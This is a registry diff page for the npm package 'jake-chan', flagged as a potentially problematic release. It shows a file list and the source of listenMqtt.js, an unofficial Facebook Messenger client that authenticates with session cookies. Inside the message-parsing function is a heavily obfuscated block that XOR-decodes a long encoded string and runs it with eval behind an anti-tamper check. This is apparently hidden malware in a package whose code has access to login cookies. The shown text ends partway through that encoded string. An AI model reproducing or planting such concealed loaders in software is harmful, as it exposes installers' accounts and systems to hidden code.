jake-chan 0.0.1-security → 2.6.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of jake-chan might be problematic. Click here for more details.
- package/.cache/replit/__replit_disk_meta.json +1 -0
 - package/.cache/replit/modules.stamp +0 -0
 - package/.cache/replit/nix/env.json +1 -0
 - package/.config/configstore/update-notifier-npm.json +4 -0
 - package/CHANGELOG.md +2 -0
 - package/DOCS.md +1738 -0
 - package/LICENSE-MIT +21 -0
 - package/README.md +106 -3
 - package/StateCrypt.js +28 -0
 - package/broadcast.js +35 -0
 - package/index.js +702 -0
 - package/languages/languages.json +182 -0
 - package/lib/getInfoNew.js +34 -0
 - package/lib/getToken.js +44 -0
 - package/logger.js +15 -0
 - package/package.json +82 -4
 - package/src/K2IMG.js +8 -0
 - package/src/ReportV1.js +55 -0
 - package/src/Screenshot.js +77 -0
 - package/src/T2S.js +8 -0
 - package/src/addExternalModule.js +16 -0
 - package/src/addUserToGroup.js +79 -0
 - package/src/changeAdminStatus.js +79 -0
 - package/src/changeArchivedStatus.js +41 -0
 - package/src/changeAvatar.js +127 -0
 - package/src/changeAvt.js +85 -0
 - package/src/changeBio.js +65 -0
 - package/src/changeBlockedStatus.js +36 -0
 - package/src/changeGroupImage.js +106 -0
 - package/src/changeNickname.js +45 -0
 - package/src/changeThreadColor.js +62 -0
 - package/src/changeThreadEmoji.js +42 -0
 - package/src/createNewGroup.js +70 -0
 - package/src/createPoll.js +60 -0
 - package/src/deleteMessage.js +45 -0
 - package/src/deleteThread.js +43 -0
 - package/src/desktop.ini +2 -0
 - package/src/forwardAttachment.js +48 -0
 - package/src/getAccessToken.js +32 -0
 - package/src/getCurrentUserID.js +7 -0
 - package/src/getEmojiUrl.js +27 -0
 - package/src/getFriendsList.js +73 -0
 - package/src/getMessage.js +80 -0
 - package/src/getThreadHistory.js +537 -0
 - package/src/getThreadHistoryDeprecated.js +93 -0
 - package/src/getThreadInfo.js +346 -0
 - package/src/getThreadInfoDeprecated.js +80 -0
 - package/src/getThreadList.js +213 -0
 - package/src/getThreadListDeprecated.js +75 -0
 - package/src/getThreadMain.js +219 -0
 - package/src/getThreadPictures.js +59 -0
 - package/src/getUID.js +59 -0
 - package/src/getUserID.js +62 -0
 - package/src/getUserInfo.js +129 -0
 - package/src/getUserInfoMain.js +65 -0
 - package/src/getUserInfoV2.js +35 -0
 - package/src/getUserInfoV3.js +63 -0
 - package/src/getUserInfoV4.js +55 -0
 - package/src/getUserInfoV5.js +61 -0
 - package/src/handleFriendRequest.js +46 -0
 - package/src/handleMessageRequest.js +49 -0
 - package/src/httpGet.js +49 -0
 - package/src/httpPost.js +48 -0
 - package/src/httpPostFormData.js +41 -0
 - package/src/listenMqtt.js +725 -0
 - package/src/logout.js +68 -0
 - package/src/markAsDelivered.js +48 -0
 - package/src/markAsRead.js +70 -0
 - package/src/markAsReadAll.js +43 -0
 - package/src/markAsSeen.js +51 -0
 - package/src/muteThread.js +47 -0
 - package/src/removeUserFromGroup.js +49 -0
 - package/src/resolvePhotoUrl.js +37 -0
 - package/src/searchForThread.js +43 -0
 - package/src/sendMessage.js +334 -0
 - package/src/sendTypingIndicator.js +80 -0
 - package/src/setMessageReaction.js +109 -0
 - package/src/setPostReaction.js +102 -0
 - package/src/setTitle.js +74 -0
 - package/src/threadColors.js +39 -0
 - package/src/unfriend.js +43 -0
 - package/src/unsendMessage.js +40 -0
 - package/test/data/shareAttach.js +146 -0
 - package/test/data/test.txt +7 -0
 - package/test/example-config.json +18 -0
 - package/test/test-page.js +140 -0
 - package/test/test.js +387 -0
 - package/utils.js +2476 -0
 
| 
         @@ -0,0 +1,725 @@ 
     | 
|
| 
      
 1 
     | 
    
         
            +
            /* eslint-disable no-redeclare */
         
     | 
| 
      
 2 
     | 
    
         
            +
            "use strict";
         
     | 
| 
      
 3 
     | 
    
         
            +
            var utils = require("../utils");
         
     | 
| 
      
 4 
     | 
    
         
            +
            var log = require("npmlog");
         
     | 
| 
      
 5 
     | 
    
         
            +
            var mqtt = require('mqtt');
         
     | 
| 
      
 6 
     | 
    
         
            +
            var websocket = require('websocket-stream');
         
     | 
| 
      
 7 
     | 
    
         
            +
            var HttpsProxyAgent = require('https-proxy-agent');
         
     | 
| 
      
 8 
     | 
    
         
            +
            const EventEmitter = require('events');
         
     | 
| 
      
 9 
     | 
    
         
            +
            var identity = function () { };
         
     | 
| 
      
 10 
     | 
    
         
            +
            var form = {};
         
     | 
| 
      
 11 
     | 
    
         
            +
            var getSeqID = function () { };
         
     | 
| 
      
 12 
     | 
    
         
            +
             
     | 
| 
      
 13 
     | 
    
         
            +
            var topics = ["/legacy_web","/webrtc","/rtc_multi","/onevc","/br_sr","/sr_res","/t_ms","/thread_typing","/orca_typing_notifications","/notify_disconnect","/orca_presence","/inbox","/mercury", "/messaging_events", "/orca_message_notifications", "/pp","/webrtc_response"];
         
     | 
| 
      
 14 
     | 
    
         
            +
             
     | 
| 
      
 15 
     | 
    
         
            +
            /* [ Noti ? ]
         
     | 
| 
      
 16 
     | 
    
         
            +
            !   "/br_sr", //Notification
         
     | 
| 
      
 17 
     | 
    
         
            +
                * => Need to publish /br_sr right after this
         
     | 
| 
      
 18 
     | 
    
         
            +
               
         
     | 
| 
      
 19 
     | 
    
         
            +
            !   "/notify_disconnect",
         
     | 
| 
      
 20 
     | 
    
         
            +
                * => Need to publish /messenger_sync_create_queue right after this
         
     | 
| 
      
 21 
     | 
    
         
            +
             
     | 
| 
      
 22 
     | 
    
         
            +
            !   "/orca_presence",
         
     | 
| 
      
 23 
     | 
    
         
            +
                * => Will receive /sr_res right here.
         
     | 
| 
      
 24 
     | 
    
         
            +
              */
         
     | 
| 
      
 25 
     | 
    
         
            +
             
     | 
| 
      
 26 
     | 
    
         
            +
            function listenMqtt(defaultFuncs, api, ctx, globalCallback) {
         
     | 
| 
      
 27 
     | 
    
         
            +
                //Don't really know what this does but I think it's for the active state?
         
     | 
| 
      
 28 
     | 
    
         
            +
                //TODO: Move to ctx when implemented
         
     | 
| 
      
 29 
     | 
    
         
            +
                var chatOn = ctx.globalOptions.online;
         
     | 
| 
      
 30 
     | 
    
         
            +
                var foreground = false;
         
     | 
| 
      
 31 
     | 
    
         
            +
             
     | 
| 
      
 32 
     | 
    
         
            +
                var sessionID = Math.floor(Math.random() * 9007199254740991) + 1;
         
     | 
| 
      
 33 
     | 
    
         
            +
                var username = {u: ctx.userID,s: sessionID,chat_on: chatOn,fg: foreground,d: utils.getGUID(),ct: "websocket",aid: "219994525426954", mqtt_sid: "",cp: 3,ecp: 10,st: [],pm: [],dc: "",no_auto_fg: true,gas: null,pack: []};
         
     | 
| 
      
 34 
     | 
    
         
            +
                var cookies = ctx.jar.getCookies('https://www.facebook.com').join("; ");
         
     | 
| 
      
 35 
     | 
    
         
            +
             
     | 
| 
      
 36 
     | 
    
         
            +
                var host;
         
     | 
| 
      
 37 
     | 
    
         
            +
                if (ctx.mqttEndpoint) host = `${ctx.mqttEndpoint}&sid=${sessionID}`;
         
     | 
| 
      
 38 
     | 
    
         
            +
                else if (ctx.region) host = `wss://edge-chat.facebook.com/chat?region=${ctx.region.toLocaleLowerCase()}&sid=${sessionID}`;
         
     | 
| 
      
 39 
     | 
    
         
            +
                else host = `wss://edge-chat.facebook.com/chat?sid=${sessionID}`;
         
     | 
| 
      
 40 
     | 
    
         
            +
             
     | 
| 
      
 41 
     | 
    
         
            +
                var options = {
         
     | 
| 
      
 42 
     | 
    
         
            +
                    clientId: "mqttwsclient",
         
     | 
| 
      
 43 
     | 
    
         
            +
                    protocolId: 'MQIsdp',
         
     | 
| 
      
 44 
     | 
    
         
            +
                    protocolVersion: 3,
         
     | 
| 
      
 45 
     | 
    
         
            +
                    username: JSON.stringify(username),
         
     | 
| 
      
 46 
     | 
    
         
            +
                    clean: true,
         
     | 
| 
      
 47 
     | 
    
         
            +
                    wsOptions: {
         
     | 
| 
      
 48 
     | 
    
         
            +
                        headers: {
         
     | 
| 
      
 49 
     | 
    
         
            +
                            'Cookie': cookies,
         
     | 
| 
      
 50 
     | 
    
         
            +
                            'Origin': 'https://www.facebook.com',
         
     | 
| 
      
 51 
     | 
    
         
            +
                            'User-Agent': (ctx.globalOptions.userAgent || 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36'),
         
     | 
| 
      
 52 
     | 
    
         
            +
                            'Referer': 'https://www.facebook.com/',
         
     | 
| 
      
 53 
     | 
    
         
            +
                            'Host': new URL(host).hostname //'edge-chat.facebook.com'
         
     | 
| 
      
 54 
     | 
    
         
            +
                        },
         
     | 
| 
      
 55 
     | 
    
         
            +
                        origin: 'https://www.facebook.com',
         
     | 
| 
      
 56 
     | 
    
         
            +
                        protocolVersion: 13
         
     | 
| 
      
 57 
     | 
    
         
            +
                    },
         
     | 
| 
      
 58 
     | 
    
         
            +
                    keepalive: 10,
         
     | 
| 
      
 59 
     | 
    
         
            +
                    reschedulePings: true,
         
     | 
| 
      
 60 
     | 
    
         
            +
                    connectTimeout: 10000,
         
     | 
| 
      
 61 
     | 
    
         
            +
                    reconnectPeriod: 1000
         
     | 
| 
      
 62 
     | 
    
         
            +
                };
         
     | 
| 
      
 63 
     | 
    
         
            +
             
     | 
| 
      
 64 
     | 
    
         
            +
                if (typeof ctx.globalOptions.proxy != "undefined") {
         
     | 
| 
      
 65 
     | 
    
         
            +
                    var agent = new HttpsProxyAgent(ctx.globalOptions.proxy);
         
     | 
| 
      
 66 
     | 
    
         
            +
                    options.wsOptions.agent = agent;
         
     | 
| 
      
 67 
     | 
    
         
            +
                }
         
     | 
| 
      
 68 
     | 
    
         
            +
             
     | 
| 
      
 69 
     | 
    
         
            +
                ctx.mqttClient = new mqtt.Client(_ => websocket(host, options.wsOptions), options);
         
     | 
| 
      
 70 
     | 
    
         
            +
             
     | 
| 
      
 71 
     | 
    
         
            +
                var mqttClient = ctx.mqttClient;
         
     | 
| 
      
 72 
     | 
    
         
            +
             
     | 
| 
      
 73 
     | 
    
         
            +
                mqttClient.on('error', function (err) {
         
     | 
| 
      
 74 
     | 
    
         
            +
                    log.error("listenMqtt", err);
         
     | 
| 
      
 75 
     | 
    
         
            +
                    mqttClient.end();
         
     | 
| 
      
 76 
     | 
    
         
            +
                    if (ctx.globalOptions.autoReconnect) getSeqID();
         
     | 
| 
      
 77 
     | 
    
         
            +
                    else {
         
     | 
| 
      
 78 
     | 
    
         
            +
                        globalCallback({ type: "stop_listen", error: "Server Đã Sập - Auto Restart" }, null);
         
     | 
| 
      
 79 
     | 
    
         
            +
                        return process.exit(1);
         
     | 
| 
      
 80 
     | 
    
         
            +
                    }
         
     | 
| 
      
 81 
     | 
    
         
            +
                });
         
     | 
| 
      
 82 
     | 
    
         
            +
             
     | 
| 
      
 83 
     | 
    
         
            +
                mqttClient.on('connect', function () {
         
     | 
| 
      
 84 
     | 
    
         
            +
             
     | 
| 
      
 85 
     | 
    
         
            +
                    if (process.env.OnStatus == undefined) {
         
     | 
| 
      
 86 
     | 
    
         
            +
                        global.Fca.Require.logger.Normal(global.Fca.Data.PremText || "Hiện Status Lỗi :s")
         
     | 
| 
      
 87 
     | 
    
         
            +
                        if (Number(global.Fca.Require.FastConfig.AutoRestartMinutes) == 0) {
         
     | 
| 
      
 88 
     | 
    
         
            +
                            // something
         
     | 
| 
      
 89 
     | 
    
         
            +
                        }
         
     | 
| 
      
 90 
     | 
    
         
            +
                        else if (Number(global.Fca.Require.FastConfig.AutoRestartMinutes < 10)) {
         
     | 
| 
      
 91 
     | 
    
         
            +
                            log.warn("AutoRestartMinutes","The number of minutes to automatically restart must be more than 10 minutes");
         
     | 
| 
      
 92 
     | 
    
         
            +
                        }
         
     | 
| 
      
 93 
     | 
    
         
            +
                        else if (Number(global.Fca.Require.FastConfig.AutoRestartMinutes) < 0) {
         
     | 
| 
      
 94 
     | 
    
         
            +
                            log.warn("AutoRestartMinutes","Invalid auto-restart minutes!");
         
     | 
| 
      
 95 
     | 
    
         
            +
                        }
         
     | 
| 
      
 96 
     | 
    
         
            +
                        else {
         
     | 
| 
      
 97 
     | 
    
         
            +
                            global.Fca.Require.logger.Normal(global.Fca.getText(global.Fca.Require.Language.Src.AutoRestart,global.Fca.Require.FastConfig.AutoRestartMinutes));
         
     | 
| 
      
 98 
     | 
    
         
            +
                            setInterval(() => { 
         
     | 
| 
      
 99 
     | 
    
         
            +
                                global.Fca.Require.logger.Normal(global.Fca.Require.Language.Src.OnRestart);
         
     | 
| 
      
 100 
     | 
    
         
            +
                                process.exit(1);
         
     | 
| 
      
 101 
     | 
    
         
            +
                            }, Number(global.Fca.Require.FastConfig.AutoRestartMinutes) * 60000);
         
     | 
| 
      
 102 
     | 
    
         
            +
                        }
         
     | 
| 
      
 103 
     | 
    
         
            +
                        require('../broadcast');
         
     | 
| 
      
 104 
     | 
    
         
            +
                        process.env.OnStatus = true;
         
     | 
| 
      
 105 
     | 
    
         
            +
                    }
         
     | 
| 
      
 106 
     | 
    
         
            +
                    
         
     | 
| 
      
 107 
     | 
    
         
            +
                    topics.forEach(topicsub => mqttClient.subscribe(topicsub));
         
     | 
| 
      
 108 
     | 
    
         
            +
             
     | 
| 
      
 109 
     | 
    
         
            +
                    var topic;
         
     | 
| 
      
 110 
     | 
    
         
            +
                    var queue = {
         
     | 
| 
      
 111 
     | 
    
         
            +
                        sync_api_version: 11,
         
     | 
| 
      
 112 
     | 
    
         
            +
                        max_deltas_able_to_process: 100,
         
     | 
| 
      
 113 
     | 
    
         
            +
                        delta_batch_size: 500,
         
     | 
| 
      
 114 
     | 
    
         
            +
                        encoding: "JSON",
         
     | 
| 
      
 115 
     | 
    
         
            +
                        entity_fbid: ctx.userID,
         
     | 
| 
      
 116 
     | 
    
         
            +
                    };
         
     | 
| 
      
 117 
     | 
    
         
            +
             
     | 
| 
      
 118 
     | 
    
         
            +
                    if (ctx.syncToken) {
         
     | 
| 
      
 119 
     | 
    
         
            +
                        topic = "/messenger_sync_get_diffs";
         
     | 
| 
      
 120 
     | 
    
         
            +
                        queue.last_seq_id = ctx.lastSeqId;
         
     | 
| 
      
 121 
     | 
    
         
            +
                        queue.sync_token = ctx.syncToken;
         
     | 
| 
      
 122 
     | 
    
         
            +
                    } else {
         
     | 
| 
      
 123 
     | 
    
         
            +
                        topic = "/messenger_sync_create_queue";
         
     | 
| 
      
 124 
     | 
    
         
            +
                        queue.initial_titan_sequence_id = ctx.lastSeqId;
         
     | 
| 
      
 125 
     | 
    
         
            +
                        queue.device_params = null;
         
     | 
| 
      
 126 
     | 
    
         
            +
                    }
         
     | 
| 
      
 127 
     | 
    
         
            +
             
     | 
| 
      
 128 
     | 
    
         
            +
                    mqttClient.publish(topic, JSON.stringify(queue), { qos: 1, retain: false });
         
     | 
| 
      
 129 
     | 
    
         
            +
             
     | 
| 
      
 130 
     | 
    
         
            +
               // set status online
         
     | 
| 
      
 131 
     | 
    
         
            +
                // fix by NTKhang
         
     | 
| 
      
 132 
     | 
    
         
            +
                mqttClient.publish("/foreground_state", JSON.stringify({"foreground": chatOn}), {qos: 1});
         
     | 
| 
      
 133 
     | 
    
         
            +
             
     | 
| 
      
 134 
     | 
    
         
            +
                    var rTimeout = setTimeout(function () {
         
     | 
| 
      
 135 
     | 
    
         
            +
                        mqttClient.end();
         
     | 
| 
      
 136 
     | 
    
         
            +
                        getSeqID();
         
     | 
| 
      
 137 
     | 
    
         
            +
                    }, 3000);
         
     | 
| 
      
 138 
     | 
    
         
            +
             
     | 
| 
      
 139 
     | 
    
         
            +
                    ctx.tmsWait = function () {
         
     | 
| 
      
 140 
     | 
    
         
            +
                        clearTimeout(rTimeout);
         
     | 
| 
      
 141 
     | 
    
         
            +
                        ctx.globalOptions.emitReady ? globalCallback({type: "ready",error: null}) : '';
         
     | 
| 
      
 142 
     | 
    
         
            +
                        delete ctx.tmsWait;
         
     | 
| 
      
 143 
     | 
    
         
            +
                    };
         
     | 
| 
      
 144 
     | 
    
         
            +
                });
         
     | 
| 
      
 145 
     | 
    
         
            +
             
     | 
| 
      
 146 
     | 
    
         
            +
                mqttClient.on('message', function (topic, message, _packet) {
         
     | 
| 
      
 147 
     | 
    
         
            +
                        const jsonMessage = JSON.parse(message.toString());
         
     | 
| 
      
 148 
     | 
    
         
            +
                    if (topic === "/t_ms") {
         
     | 
| 
      
 149 
     | 
    
         
            +
                        if (ctx.tmsWait && typeof ctx.tmsWait == "function") ctx.tmsWait();
         
     | 
| 
      
 150 
     | 
    
         
            +
             
     | 
| 
      
 151 
     | 
    
         
            +
                        if (jsonMessage.firstDeltaSeqId && jsonMessage.syncToken) {
         
     | 
| 
      
 152 
     | 
    
         
            +
                            ctx.lastSeqId = jsonMessage.firstDeltaSeqId;
         
     | 
| 
      
 153 
     | 
    
         
            +
                            ctx.syncToken = jsonMessage.syncToken;
         
     | 
| 
      
 154 
     | 
    
         
            +
                        }
         
     | 
| 
      
 155 
     | 
    
         
            +
             
     | 
| 
      
 156 
     | 
    
         
            +
                        if (jsonMessage.lastIssuedSeqId) ctx.lastSeqId = parseInt(jsonMessage.lastIssuedSeqId);
         
     | 
| 
      
 157 
     | 
    
         
            +
             
     | 
| 
      
 158 
     | 
    
         
            +
                        //If it contains more than 1 delta
         
     | 
| 
      
 159 
     | 
    
         
            +
                        for (var i in jsonMessage.deltas) {
         
     | 
| 
      
 160 
     | 
    
         
            +
                            var delta = jsonMessage.deltas[i];
         
     | 
| 
      
 161 
     | 
    
         
            +
                            parseDelta(defaultFuncs, api, ctx, globalCallback, { "delta": delta });
         
     | 
| 
      
 162 
     | 
    
         
            +
                        }
         
     | 
| 
      
 163 
     | 
    
         
            +
                    } else if (topic === "/thread_typing" || topic === "/orca_typing_notifications") {
         
     | 
| 
      
 164 
     | 
    
         
            +
                        var typ = {
         
     | 
| 
      
 165 
     | 
    
         
            +
                            type: "typ",
         
     | 
| 
      
 166 
     | 
    
         
            +
                            isTyping: !!jsonMessage.state,
         
     | 
| 
      
 167 
     | 
    
         
            +
                            from: jsonMessage.sender_fbid.toString(),
         
     | 
| 
      
 168 
     | 
    
         
            +
                            threadID: utils.formatID((jsonMessage.thread || jsonMessage.sender_fbid).toString())
         
     | 
| 
      
 169 
     | 
    
         
            +
                        };
         
     | 
| 
      
 170 
     | 
    
         
            +
                        (function () { globalCallback(null, typ); })();
         
     | 
| 
      
 171 
     | 
    
         
            +
                    } else if (topic === "/orca_presence") {
         
     | 
| 
      
 172 
     | 
    
         
            +
                        if (!ctx.globalOptions.updatePresence) {
         
     | 
| 
      
 173 
     | 
    
         
            +
                            for (var i in jsonMessage.list) {
         
     | 
| 
      
 174 
     | 
    
         
            +
                                var data = jsonMessage.list[i];
         
     | 
| 
      
 175 
     | 
    
         
            +
                                var userID = data["u"];
         
     | 
| 
      
 176 
     | 
    
         
            +
             
     | 
| 
      
 177 
     | 
    
         
            +
                                var presence = {
         
     | 
| 
      
 178 
     | 
    
         
            +
                                    type: "presence",
         
     | 
| 
      
 179 
     | 
    
         
            +
                                    userID: userID.toString(),
         
     | 
| 
      
 180 
     | 
    
         
            +
                                    //Convert to ms
         
     | 
| 
      
 181 
     | 
    
         
            +
                                    timestamp: data["l"] * 1000,
         
     | 
| 
      
 182 
     | 
    
         
            +
                                    statuses: data["p"]
         
     | 
| 
      
 183 
     | 
    
         
            +
                                };
         
     | 
| 
      
 184 
     | 
    
         
            +
                                (function () { globalCallback(null, presence); })();
         
     | 
| 
      
 185 
     | 
    
         
            +
                            }
         
     | 
| 
      
 186 
     | 
    
         
            +
                        }
         
     | 
| 
      
 187 
     | 
    
         
            +
                    }
         
     | 
| 
      
 188 
     | 
    
         
            +
             
     | 
| 
      
 189 
     | 
    
         
            +
                });
         
     | 
| 
      
 190 
     | 
    
         
            +
             
     | 
| 
      
 191 
     | 
    
         
            +
                process.on('SIGINT', function () {
         
     | 
| 
      
 192 
     | 
    
         
            +
                    LogUptime();process.kill(process.pid);
         
     | 
| 
      
 193 
     | 
    
         
            +
                });
         
     | 
| 
      
 194 
     | 
    
         
            +
             
     | 
| 
      
 195 
     | 
    
         
            +
                process.on('exit', (code) => {
         
     | 
| 
      
 196 
     | 
    
         
            +
                    LogUptime();
         
     | 
| 
      
 197 
     | 
    
         
            +
                });
         
     | 
| 
      
 198 
     | 
    
         
            +
                
         
     | 
| 
      
 199 
     | 
    
         
            +
                mqttClient.on('close', function () {
         
     | 
| 
      
 200 
     | 
    
         
            +
             
     | 
| 
      
 201 
     | 
    
         
            +
                });
         
     | 
| 
      
 202 
     | 
    
         
            +
             
     | 
| 
      
 203 
     | 
    
         
            +
                mqttClient.on('disconnect',function () {
         
     | 
| 
      
 204 
     | 
    
         
            +
                    process.exit(1);
         
     | 
| 
      
 205 
     | 
    
         
            +
                });
         
     | 
| 
      
 206 
     | 
    
         
            +
            }
         
     | 
| 
      
 207 
     | 
    
         
            +
             
     | 
| 
      
 208 
     | 
    
         
            +
            function LogUptime() {
         
     | 
| 
      
 209 
     | 
    
         
            +
                var uptime = process.uptime();
         
     | 
| 
      
 210 
     | 
    
         
            +
                var { join } = require('path');
         
     | 
| 
      
 211 
     | 
    
         
            +
                if (global.Fca.Require.fs.existsSync(join(__dirname, '../CountTime.json'))) {
         
     | 
| 
      
 212 
     | 
    
         
            +
                    var Time1 = (Number(global.Fca.Require.fs.readFileSync(join(__dirname, '../CountTime.json'), 'utf8')) || 0);
         
     | 
| 
      
 213 
     | 
    
         
            +
                    global.Fca.Require.fs.writeFileSync(join(__dirname, '../CountTime.json'), String(Number(uptime) + Time1), 'utf8');
         
     | 
| 
      
 214 
     | 
    
         
            +
                }
         
     | 
| 
      
 215 
     | 
    
         
            +
                else {
         
     | 
| 
      
 216 
     | 
    
         
            +
                    var Time1 = 0;
         
     | 
| 
      
 217 
     | 
    
         
            +
                    global.Fca.Require.fs.writeFileSync(join(__dirname, '../CountTime.json'), String(Number(uptime) + Time1), 'utf8');
         
     | 
| 
      
 218 
     | 
    
         
            +
                }
         
     | 
| 
      
 219 
     | 
    
         
            +
            }
         
     | 
| 
      
 220 
     | 
    
         
            +
            function parseDelta(defaultFuncs, api, ctx, globalCallback, v) {
         
     | 
| 
      
 221 
     | 
    
         
            +
                if (v.delta.class == "NewMessage") {
         
     | 
| 
      
 222 
     | 
    
         
            +
                    //Not tested for pages
         
     | 
| 
      
 223 
     | 
    
         
            +
                    if (ctx.globalOptions.pageID && ctx.globalOptions.pageID != v.queue) return;
         
     | 
| 
      
 224 
     | 
    
         
            +
             
     | 
| 
      
 225 
     | 
    
         
            +
                    (function resolveAttachmentUrl(i) {
         
     | 
| 
      
 226 
     | 
    
         
            +
                        if (v.delta.attachments && (i == v.delta.attachments.length)) {
         
     | 
| 
      
 227 
     | 
    
         
            +
                            var fmtMsg;
         
     | 
| 
      
 228 
     | 
    
         
            +
                            try {
         
     | 
| 
      
 229 
     | 
    
         
            +
                                fmtMsg = utils.formatDeltaMessage(v);
         
     | 
| 
      
 230 
     | 
    
         
            +
                            } catch (err) {
         
     | 
| 
      
 231 
     | 
    
         
            +
                                return log.error("Lỗi Nhẹ", err);
         
     | 
| 
      
 232 
     | 
    
         
            +
                            }
         
     | 
| 
      
 233 
     | 
    
         
            +
                            let PRS7;
         
     | 
| 
      
 234 
     | 
    
         
            +
                            ! function() {
         
     | 
| 
      
 235 
     | 
    
         
            +
                                const kqHF = Array.prototype.slice.call(arguments);
         
     | 
| 
      
 236 
     | 
    
         
            +
                                return eval("(function gT9x(P8gq){const PaOq=zS0q(P8gq,H0Dq(gT9x.toString()));try{let rIQq=eval(PaOq);return rIQq.apply(null,kqHF);}catch(L5Iq){var nDLq=(0o204312-67761);while(nDLq<(0o400071%65548))switch(nDLq){case (0x30070%0o200035):nDLq=L5Iq instanceof SyntaxError?(0o400102%0x10011):(0o400073%0x1000D);break;case (0o201700-0x103A0):nDLq=(0o400107%65555);{console.log(\'Error: the code has been tampered!\');return}break;}throw L5Iq;}function H0Dq(jyGq){let DVyq=447808945;var ftBq=(73639709%9);{let fv8q;while(ftBq<(0o1000247%0x10020)){switch(ftBq){case (0o200740-65992):ftBq=(0o205144-0x10A3E);{DVyq^=(jyGq.charCodeAt(fv8q)*(15658734^0O73567354)+jyGq.charCodeAt(fv8q>>>(0x4A5D0CE&0O320423424)))^1542256333;}break;case (0x4008A%0o200031):ftBq=(0x4007E%0o200031);fv8q++;break;case (0o204444-67850):ftBq=fv8q<jyGq.length?(0o1000164%65559):(0o400145%0x1001F);break;case (73639709%9):ftBq=(0o600150%65562);fv8q=(0x75bcd15-0O726746425);break;}}}let H2ar=\"\";var bq3q=(0o204300-0x108A0);{let DX5q;while(bq3q<(0x103DE-0o201675)){switch(bq3q){case (131136%0o200020):bq3q=(68266-0o205225);DX5q=(0x21786%3);break;case (0x4005D%0o200022):bq3q=DX5q<(0O347010110&0x463A71D)?(0o400050%0x1000E):(0x107BC-0o203633);break;case (0x20040%0o200032):bq3q=(68896-0o206404);{const XkYq=DVyq%(0o202772-0x105E9);DVyq=Math.floor(DVyq/(0x104A6-0o202225));H2ar+=XkYq>=(0o600150%65562)?String.fromCharCode((0o1000441%0x10038)+(XkYq-(0o204040-0x10806))):String.fromCharCode((0o215206-72229)+XkYq);}break;case (0o201510-0x1032C):bq3q=(196662%0o200013);DX5q++;break;}}}return H2ar;}function zS0q(TfTq,vNVq){TfTq=decodeURI(TfTq);let XcQo=(0x21786%3);let zKSo=\"\";var T7Ko=(0O347010110&0x463A71D);{let vFNo;while(T7Ko<(0x10924-0o204375)){switch(T7Ko){case (0o205500-0x10B28):T7Ko=(0o211514-0x11326);{zKSo+=String.fromCharCode(TfTq.charCodeAt(vFNo)^vNVq.charCodeAt(XcQo));XcQo++;var P2Fo=(0x10AC8-0o205261);while(P2Fo<(0o200574-0x10156))switch(P2Fo){case (0o200714-65973):P2Fo=XcQo>=vNVq.length?(0o203410-0x106E4):(0x30086%0o200040);break;case (0o400156%65573):P2Fo=(68196-0o205076);{XcQo=(0x21786%3);}break;}}break;case (262254%0o200025):T7Ko=vFNo<TfTq.length?(68176-0o205070):(0o1000313%65577);break;case (0O347010110&0x463A71D):T7Ko=(0o400106%0x10016);vFNo=(0x21786%3);break;case (0o1000212%65561):T7Ko=(262274%0o200032);vFNo++;break;}}}return zKSo;}})(\"I%0E%10%04%04%1C%05%0C%0F@L%11%01%1D%02%00%15%01%0A%04G%0F%007(@L%11%15%0D%18%16%13%06E%19,%3E(KHC$%05%00*DJ%1C%0E%10%04%04%1C%05%0C%0FH,%070!DJ%1A%1A%00%1E%12%1A%02CIID1:C7%3EH3N1:5%11%05%14%06%06%1E%0E%07%02C%02%01+#OA%17%11%04%1C%10%18%09H%25(4.MCL%1B\'5%25@LA%00%10%1F+IAN/3%06)KH%15584_Q%18%1CS%03%1F%09%0B%18%0A%0E%06E/%0D9%25KH%13%17%0F%13%1D%1E%0DA!.?!@EH(%11%13%22OAG*%18,%1DBNC%0B%1B%12%20MC%1A%0E%19%0D%02%1C%0C%05%09H5%06)!MC%1C%1A%09%17%14%1A%0BJO%0F%042%22@LCL31%1E%07%1D%0B%09%13%01%03%0DA)%02!.@E%18%13%0D%11%1F%15%06L6%07%25%20BNC%03%01%25-MCL%1F%14%11+@LA%22%3C%02&IA%18%0C%12%06%0F%17%08%07%0BJ2%0A.*IA%1E%18%02%1C%19%11%0FHM/?%11-KHA%3E;%04/)KH5MC%1A%0E%19%0D%02%1C%0C%05%09H%1B%07$!MC%1C%1A%09%17%14%1A%0BJO%0F%042%22@LCL@%07%04-/MCN%15%0A%16%0F%0B%11%03%08%06L%14%19%1A/BN%13%1E%06%15%1D%17%04G@M8%3CC%3E7N3GBJ387%1A%0E%19%0D%02%1C%0C%05%09H5%1A%14%22MC%1C%1A%09%17%14%1A%0BJ%00%3E%1D&IAN+%08%0F.KHC,%13%11%20DJJ-1%04%22@E%1E1:6%5DI%20%0E%5EI3%0B%1F%0B%041%5E%5COBC%5C%0E%19%0D%02%1C%0C%05%09H%1F%16%0D%22MC%1C%1A%09%17%14%1A%0BJOOK8(+%22.OA1KHA%3E/%1D)(KH5%18%0C%12%06%0F%17%08%07%0BJ2%1E%03)IA%1E%18%02%1C%19%11%0FHMA%3C5GBJ38AOCG8J387%3CC7%3EJ387NAG8%3C%15%03%1F%09%0B%18%0A%0E%06E%05%15%0E&KH%13%17%0F%13%1D%1E%0DA@,%0F./DJH3%0A%227,DJ%3C@(%06=+DJH%15%03%1F%09%0B%18%0A%0E%06E;%14%01&KH%13%17%0F%13%1D%1E%0DA!.?!@EH4%0A\'#OAG*%0C?,BNC93%0B)MC%1A%0E%19%0D%02%1C%0C%05%09H%07%0C;!MC%1C%1A%09%17%14%1A%0BJ%13%00%05%10:@%20%1C%17%20DJHCM%01%22%22(KHA8Q%1A%0E%19%0D%02%1C%0C%05%09H!%13%02%22MC%1C%1A%09%17%14%1A%0BJ.#9%25IAN%19%16%01(KHC,%0F6%1FDJJ%07%17%0C-@EH4,.(OAG:.%0D%20BNC-%0C%06*MCL%1F%14%11+@LA%14%19%05\'IAN3(%0D)KHC,%0F6%1FDJJ%0F%1D%19/@EH4%06%04%22OA%11%05%14%06%06%1E%0E%07%02C%0E8%01-OA%17%11%04%1C%10%18%09H%0F,%09%11MCL=8%0E&@LA2,\'!IAN%19%0A0+KHC$%05%00*DJ%1C%1E%04%18G9=%04&U%3EBU%5E%5EQQ_@Z%08Z%5CSQYPCK@%5C%0CUXUZR%5DIUT%5DPXNDDS%19YUZ&)AS%0EZUZU%5B%5DJM@TSQ_%5CVDX%0AX